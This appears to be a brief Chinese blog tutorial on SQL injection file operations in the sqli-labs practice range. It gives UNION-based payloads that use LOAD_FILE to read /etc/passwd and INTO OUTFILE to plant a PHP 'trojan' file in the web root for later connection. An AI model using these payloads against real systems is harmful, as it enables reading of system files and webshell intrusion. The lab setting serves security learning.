Sql注入文件读写操作

首先介绍两个函数:

1.文件读取函数load_file()
LOAD_FILE()函数读取一个文件并将其内容作为字符串返回
LOAD_FILE(file_name);             LOAD_FILE(/etc/passwd);
其中file_name是文件的完整路径	

2.写入函数为into outfile()
INTO OUTFILE()函数将自定义字符串写入指定文件中 (前提权限允许写入)

SELECTINTO OUTFILE ‘file_name’  SELECTINTO OUTFILE/tmp/111

实验环境为sql-lab靶场

load_file读取文件

Union select 1,load_file("/etc/passwd")--+

Sql注入文件读写操作_第1张图片

写入木马文件

Union select 1,"",1 into outfile '/var/www/html/Less-1/1.php'--+

Sql注入文件读写操作_第2张图片
进行连接即可 但是需要网站文件夹有写的权限 如果没有就会提示
Sql注入文件读写操作_第3张图片

你可能感兴趣的:(php,web安全)